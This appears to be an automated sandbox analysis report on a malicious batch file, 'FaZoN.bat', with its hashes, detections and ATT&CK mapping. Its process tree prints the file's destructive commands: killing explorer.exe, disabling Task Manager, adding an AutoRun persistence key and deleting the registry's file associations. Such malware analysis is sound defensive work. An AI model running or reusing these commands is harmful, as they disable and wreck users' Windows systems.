Overview

overview

10

Static

static

10

TrashMalwa...in.exe

windows10-2004-x64

8

TrashMalwa...er.exe

windows10-2004-x64

8

TrashMalwa...nk.exe

windows10-2004-x64

8

TrashMalwa...oN.bat

windows10-2004-x64

8

TrashMalwa...zz.exe

windows10-2004-x64

6

TrashMalwa...de.exe

windows10-2004-x64

8

TrashMalwa...20.exe

windows10-2004-x64

7

TrashMalwa...ll.exe

windows10-2004-x64

8

TrashMalwa...le.exe

windows10-2004-x64

8

TrashMalwa...oe.bat

windows10-2004-x64

TrashMalwa....0.exe

windows10-2004-x64

7

TrashMalwa....0.exe

windows10-2004-x64

8

TrashMalwa....0.exe

windows10-2004-x64

8

TrashMalwa...ic.exe

windows10-2004-x64

6

TrashMalwa...OD.exe

windows10-2004-x64

10

TrashMalwa...um.exe

windows10-2004-x64

6

TrashMalwa...er.exe

windows10-2004-x64

8

TrashMalwa...MZ.exe

windows10-2004-x64

1

TrashMalwa...ch.exe

windows10-2004-x64

8

TrashMalwa....5.exe

windows10-2004-x64

8

TrashMalwa...ol.exe

windows10-2004-x64

8

TrashMalwa...hm.exe

windows10-2004-x64

10

TrashMalwa...10.exe

windows10-2004-x64

7

TrashMalwa...V6.exe

windows10-2004-x64

7

TrashMalwa.../x.exe

windows10-2004-x64

7

Analysis

  • max time kernel
    292s
  • max time network
    235s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18-09-2022 14:13

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    TrashMalwares-main/FaZoN.bat

  • Size

    1KB

  • MD5

    2a2c2cca38f2e34ee666d4534834dcbb

  • SHA1

    8ffa496f4e56c6406f8f965059483125966c6fdd

  • SHA256

    6397c16efa9b0ff4732002d37a948192b1df49c0c2c927806622fa59d3ac1b46

  • SHA512

    e05a896d8bcad42c04b69c14be3b625d1f586049b2a5925d08bae47f47429b44669904e22daaf94c003bbd697957bddf6067e1aaccc9dd4cb7c607a1d78686d0

Score
8/10
evasionpersistence

Malware Config

Signatures

  • Disables Task Manager via registry modification
    evasion
  • Modifies Installed Components in the registry 2 TTPs 1 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 58 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Kills process with taskkill 1 IoCs
    evasion
  • Modifies registry class 57 IoCs
  • Modifies registry key 1 TTPs 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 61 IoCs
  • Suspicious use of SendNotifyMessage 26 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\TrashMalwares-main\FaZoN.bat"
    1⤵
    • Drops file in System32 directory
    • Modifies registry class
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4652
    • C:\Windows\system32\msg.exe
      msg * Gosha created by GGmex your computer infected
      2⤵
        PID:3260
      • C:\Windows\system32\taskkill.exe
        taskkill /f /im explorer.exe
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3832
      • C:\Windows\system32\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d C:\Windows\explorer.exe /f
        2⤵
        • Modifies registry key
        PID:376
      • C:\Windows\system32\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Polices\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        2⤵
        • Modifies registry key
        PID:1984
      • C:\Windows\system32\reg.exe
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f
        2⤵
        • Modifies registry key
        PID:3872
      • C:\Windows\explorer.exe
        explorer.exe
        2⤵
        • Modifies Installed Components in the registry
        • Enumerates connected drives
        • Checks SCSI registry key(s)
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of SetWindowsHookEx
        PID:3660
      • C:\Windows\system32\msg.exe
        msg * Your desktop has been crashed
        2⤵
          PID:4604
        • C:\Windows\system32\reg.exe
          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
          2⤵
          • Modifies registry key
          PID:760
        • C:\Windows\system32\msg.exe
          msg * Your windows infected by gosha :)
          2⤵
            PID:4180
          • C:\Windows\system32\reg.exe
            reg add "HKCU\SOFTWARE\Microsoft\Command Processor" /v AutoRun /t REG_SZ /d "C:\Windows\syste m32\gosha.bat" /f
            2⤵
              PID:3876
            • C:\Windows\system32\msg.exe
              msg * Deleted files
              2⤵
                PID:2112
              • C:\Windows\system32\msg.exe
                msg * Your system has been removed...
                2⤵
                  PID:4760
                • C:\Windows\system32\msg.exe
                  msg * Click OK
                  2⤵
                    PID:1768
                  • C:\Windows\system32\cmd.exe
                    cmd
                    2⤵
                      PID:2944
                    • C:\Windows\system32\reg.exe
                      reg delete HKCR/.dll
                      2⤵
                        PID:1800
                      • C:\Windows\system32\reg.exe
                        reg delete HKCR/.exe
                        2⤵
                          PID:616
                        • C:\Windows\system32\reg.exe
                          reg delete HKCR/*
                          2⤵
                            PID:1252
                          • C:\Windows\system32\cmd.exe
                            cmd
                            2⤵
                              PID:4308
                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                            1⤵
                            • Modifies registry class
                            • Suspicious use of SetWindowsHookEx
                            PID:2832
                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                            1⤵
                            • Enumerates system info in registry
                            • Modifies registry class
                            • Suspicious use of SetWindowsHookEx
                            PID:904

                          Network

                          MITRE ATT&CK Matrix ATT&CK v6

                          Initial Access

                          Execution

                          Persistence

                          Registry Run Keys / Startup Folder

                          1
                          T1060

                          Privilege Escalation

                          Defense Evasion

                          Modify Registry

                          2
                          T1112

                          Credential Access

                          Discovery

                          Query Registry

                          3
                          T1012

                          Peripheral Device Discovery

                          2
                          T1120

                          System Information Discovery

                          3
                          T1082

                          Lateral Movement

                          Collection

                          Exfiltration

                          Command and Control

                          Impact

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • memory/376-134-0x0000000000000000-mapping.dmp
                            Download
                          • memory/616-146-0x0000000000000000-mapping.dmp
                            Download
                          • memory/760-139-0x0000000000000000-mapping.dmp
                            Download
                          • memory/904-172-0x0000016DC0FD1000-0x0000016DC0FD4000-memory.dmp
                            Filesize

                            12KB

                            Download
                          • memory/904-175-0x0000016DC0FD1000-0x0000016DC0FD4000-memory.dmp
                            Filesize

                            12KB

                            Download
                          • memory/904-185-0x0000016DC0FDC000-0x0000016DC0FDF000-memory.dmp
                            Filesize

                            12KB

                            Download
                          • memory/904-163-0x0000016DC0FDB000-0x0000016DC0FDF000-memory.dmp
                            Filesize

                            16KB

                            Download
                          • memory/904-162-0x0000016DC0FDB000-0x0000016DC0FDF000-memory.dmp
                            Filesize

                            16KB

                            Download
                          • memory/904-164-0x0000016DC0FDB000-0x0000016DC0FDF000-memory.dmp
                            Filesize

                            16KB

                            Download
                          • memory/904-184-0x0000016DC0FDC000-0x0000016DC0FDF000-memory.dmp
                            Filesize

                            12KB

                            Download
                          • memory/904-179-0x0000016DC0FF0000-0x0000016DC0FF4000-memory.dmp
                            Filesize

                            16KB

                            Download
                          • memory/904-181-0x0000016DC0FF0000-0x0000016DC0FF4000-memory.dmp
                            Filesize

                            16KB

                            Download
                          • memory/904-180-0x0000016DC0FF0000-0x0000016DC0FF4000-memory.dmp
                            Filesize

                            16KB

                            Download
                          • memory/904-178-0x0000016DC0FF0000-0x0000016DC0FF4000-memory.dmp
                            Filesize

                            16KB

                            Download
                          • memory/904-168-0x0000016DBF140000-0x0000016DBF240000-memory.dmp
                            Filesize

                            1024KB

                            Download
                          • memory/904-174-0x0000016DC0FD1000-0x0000016DC0FD4000-memory.dmp
                            Filesize

                            12KB

                            Download
                          • memory/904-166-0x0000016DC0FDB000-0x0000016DC0FDF000-memory.dmp
                            Filesize

                            16KB

                            Download
                          • memory/904-173-0x0000016DC0FD1000-0x0000016DC0FD4000-memory.dmp
                            Filesize

                            12KB

                            Download
                          • memory/904-157-0x0000016DBFE80000-0x0000016DBFEA0000-memory.dmp
                            Filesize

                            128KB

                            Download
                          • memory/904-186-0x0000016DC0FDC000-0x0000016DC0FDF000-memory.dmp
                            Filesize

                            12KB

                            Download
                          • memory/904-171-0x0000016DBFEE0000-0x0000016DBFF00000-memory.dmp
                            Filesize

                            128KB

                            Download
                          • memory/904-169-0x0000016DBF0D8000-0x0000016DBF0E0000-memory.dmp
                            Filesize

                            32KB

                            Download
                          • memory/904-165-0x0000016DC0FDB000-0x0000016DC0FDF000-memory.dmp
                            Filesize

                            16KB

                            Download
                          • memory/1252-148-0x0000000000000000-mapping.dmp
                            Download
                          • memory/1768-144-0x0000000000000000-mapping.dmp
                            Download
                          • memory/1800-147-0x0000000000000000-mapping.dmp
                            Download
                          • memory/1984-135-0x0000000000000000-mapping.dmp
                            Download
                          • memory/2112-142-0x0000000000000000-mapping.dmp
                            Download
                          • memory/2944-145-0x0000000000000000-mapping.dmp
                            Download
                          • memory/3260-132-0x0000000000000000-mapping.dmp
                            Download
                          • memory/3660-137-0x0000000000000000-mapping.dmp
                            Download
                          • memory/3832-133-0x0000000000000000-mapping.dmp
                            Download
                          • memory/3872-136-0x0000000000000000-mapping.dmp
                            Download
                          • memory/3876-141-0x0000000000000000-mapping.dmp
                            Download
                          • memory/4180-140-0x0000000000000000-mapping.dmp
                            Download
                          • memory/4308-149-0x0000000000000000-mapping.dmp
                            Download
                          • memory/4604-138-0x0000000000000000-mapping.dmp
                            Download
                          • memory/4760-143-0x0000000000000000-mapping.dmp
                            Download